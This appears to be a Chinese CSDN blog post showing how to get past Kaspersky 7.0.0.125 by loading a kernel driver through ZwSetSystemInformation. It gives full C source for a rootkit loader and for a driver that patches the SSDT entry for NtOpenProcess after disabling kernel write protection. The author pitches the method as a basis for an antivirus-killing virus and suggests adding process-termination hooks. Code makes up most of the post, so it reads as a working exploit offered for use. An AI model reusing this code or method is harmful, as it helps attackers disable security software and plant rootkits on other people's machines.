卡巴のZwSetSystemInformation的心寒

ZwSetSystemInformation的使用,卡巴7.0.0.125的失誤.

前提:好几個月前有人公布了點卡吧的失誤,當時我沒留意,前天復習好無聊,試驗了一下結果嚇了一跳.好似現在中國都是用7.0.0.125這個版本的,危險,雖然7.0.1.133已經封了這個函數了不過是英文版,沒多少人去用吧?好了,下麵直接寫源碼并解析,相信對病毒有興趣的朋友會懂吧,又可以寫一個AV終結者類的病毒了.(源碼來自www.rootkit.com)

實驗對象:卡巴7.0.0.125
實驗函數:ZwSetSystemInformation
實驗內容:繞過卡吧裝驅動(多麽恐怖的事),結果將會使系統失去防禦

 

// TestKisOfZwSetSystemInformation.cpp : Defines the entry point for the console application.

//

 

#include <windows.h>

#include <stdio.h>

#include <stdlib.h>

 

// New Deployment Module for rootkit 040

// -------------------------------------

// -Greg Hoglund http://www.rootkit.com/

/*

有关ZwSetSystemInformation的用法可以参考Gary Nebbett的《Windows NT/2000 Native API //Reference》

ZwSetSystemInformation设置影响操作系统的信息,定义如下:

NTSYSAPI

NTSTATUS

NTAPI

ZwSetSystemInformation(

     IN SYSTEM_IMFORMATION_CALSS SystemInformationClass,

     IN OUT PVOID SystemInformation,

     IN ULONG SystemInformationLength);

 

参数:

     SystemInformationClass:将被设置的系统信息的类型,值为SYSTEM_IMFORMATION_CALSS枚举的一个子集,SystemLoadAndCallImage就是

 

SystemInformation:

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE{

     UNICODE_STRING ModuleName;

} SYSTEM_LOAD_AND_CALL_IMAGE,*PSYSTEM_LOAD_AND_CALL_IMAGE;

 

     SystemInformationLength:長度sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)

 

成员:

     Module:要加载模块的NATIVE NT格式的完整路径

 

备注:

     这个信息类只能被设置,不是设置任何信息,而是执行把一个模块加载到内核地址空间和调用其入口点的操作。期望入口点例程是一个带两个参数的__stdcall例程(与设备驱动程序的DriverEntry例程一致)。如果入口点例程返回一个失败代码,则卸载模块。

 

SystemInformation:指向含有被设置信息的一个调用者分配的缓冲区或变量

SystemInformationLength:以字节为单位的SystemInformaiton的大小,根据给定的

SystemInformationClass来设置它

*/

 

//*-----一些數據類型的定義開始--------------

typedef unsigned long NTSTATUS;

#define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

 

typedef struct _UNICODE_STRING

{

     USHORT Length;

     USHORT MaximumLength;

     PWSTR Buffer;

} UNICODE_STRING, *PUNICODE_STRING;

 

typedef VOID (__stdcall *RTLINITUNICODESTRING)(

     IN OUT PUNICODE_STRING DestinationString,

     IN PCWSTR SourceString

);

 

typedef NTSTATUS (__stdcall *ZWSETSYSTEMINFORMATION)(

     IN DWORD SystemInformationClass,

     IN OUT PVOID SystemInformation,

     IN ULONG SystemInformationLength

);

 

typedef struct _SYSTEM_LOAD_AND_CALL_IMAGE

{

     UNICODE_STRING ModuleName;

} SYSTEM_LOAD_AND_CALL_IMAGE, *PSYSTEM_LOAD_AND_CALL_IMAGE;

 

#define SystemLoadAndCallImage 38

//*-----數據類型的定義結束--------------

 

void main(void)

{

     SYSTEM_LOAD_AND_CALL_IMAGE GregsImage;

     RTLINITUNICODESTRING RtlInitUnicodeString;

     ZWSETSYSTEMINFORMATION ZwSetSystemInformation;

 

     if( !(RtlInitUnicodeString =

         (RTLINITUNICODESTRING) GetProcAddress(GetModuleHandle("ntdll.dll"),

         "RtlInitUnicodeString")) )//在ntdll.dll中获取RtlInitUnicodeString地址

         exit(1);

 

     if( !(ZwSetSystemInformation =

         (ZWSETSYSTEMINFORMATION) GetProcAddress( GetModuleHandle("ntdll.dll"),

         "ZwSetSystemInformation")) )//在ntdll.dll中获取ZwSetSystemInformation地址

         exit(1);

 

     RtlInitUnicodeString( &(GregsImage.ModuleName),

         L"//??//C://NtOpenProc.sys" );//加載的驅動就是這個了

 

     if( NT_SUCCESS(ZwSetSystemInformation( SystemLoadAndCallImage,

         &GregsImage, sizeof(SYSTEM_LOAD_AND_CALL_IMAGE)) ))//加载进内核空间

         printf("Rootkit Loaded./n");

     else printf("Rootkit not loaded./n");

}

驅動源碼是來自CSDN上的一篇文章的,內容是還原SSDT并可以繞過Inline Hook(還原對象是NtOpenProcess),忘了文章的名稱,作者抱歉.

 

#include<ntddk.h>

 

typedef struct _SERVICE_DESCRIPTOR_TABLE

{

     PVOID  ServiceTableBase;

     PULONG  ServiceCounterTableBase;

     ULONG  NumberOfService;

     ULONG  ParamTableBase;

} SERVICE_DESCRIPTOR_TABLE,*PSERVICE_DESCRIPTOR_TABLE; //由于KeServiceDescriptorTable只有一项,这里就简单点了

extern PSERVICE_DESCRIPTOR_TABLE    KeServiceDescriptorTable;//KeServiceDescriptorTable为导出函数

 

//---------------------------------------------------------------------

__declspec(naked) NTSTATUS __stdcall MyNtOpenProcess(

     PHANDLE ProcessHandle,

     ACCESS_MASK DesiredAccess,

     POBJECT_ATTRIBUTES ObjectAttributes,

     PCLIENT_ID ClientId)

{

     DbgPrint("NtOpenProcess() called");

     __asm

     {

         push    0C4h

         push    804eb560h  //共十个字节

         jmp    [JmpAddress]  

     }

}

//---------------------------------------------------------------------

VOID Hook()

{

     ULONG  Address;

     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//0x7A为NtOpenProcess服务ID

     DbgPrint("Address:0x%08X",Address);

 

     OldServiceAddress = *(ULONG*)Address;//保存原来NtOpenProcess的地址

     DbgPrint("OldServiceAddress:0x%08X",OldServiceAddress);

 

     DbgPrint("MyNtOpenProcess:0x%08X",MyNtOpenProcess);

 

     JmpAddress = (ULONG)NtOpenProcess + 10; //跳转到NtOpenProcess函数头+的地方,这样在其前面写的JMP都失效了

     DbgPrint("JmpAddress:0x%08X",JmpAddress);

 

     __asm

     {//去掉内存保护

         cli

         mov  eax,cr0

         and  eax,not 10000h

         mov  cr0,eax

     }

 

     *((ULONG*)Address) = (ULONG)MyNtOpenProcess;//HOOK SSDT

 

     __asm

     {//恢复内存保护

         mov  eax,cr0

         or  eax,10000h

         mov  cr0,eax

         sti

     }

}

 

VOID Unhook()

{

     ULONG  Address;

     Address = (ULONG)KeServiceDescriptorTable->ServiceTableBase + 0x7A * 4;//查找SSDT

 

     __asm

     {

         cli

         mov  eax,cr0

         and  eax,not 10000h

         mov  cr0,eax

     }

 

     *((ULONG*)Address) = (ULONG)OldServiceAddress;//还原SSDT

 

     __asm

     { 

         mov  eax,cr0

         or  eax,10000h

         mov  cr0,eax

         sti

     }

}

//---------------------------------------------------------------------

VOID OnUnload(IN PDRIVER_OBJECT DriverObject)

{

     Unhook();

}

 

NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject,PUNICODE_STRING RegistryPath)

{

     DriverObject->DriverUnload = OnUnload;

     Hook();

     return STATUS_SUCCESS;

}

好了,可以測試結果了,加載驅動是成功的,卡巴沒反應,此時用普通的軟件(例如:Syscheck2)都可以看到卡巴加載的模塊了,我就寫還原NtOpenProcess而已,但如果加多幾個函數,例如ZwTerminateProcess,那個恐怖,任務管理器就可以輕鬆結束掉卡吧(不過卡巴7,沒那麽容易結束的,哈哈).

總之能繞過卡巴裝了驅動 , 恐怖 ! 黑客幾乎沒什麽不能做了 .
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值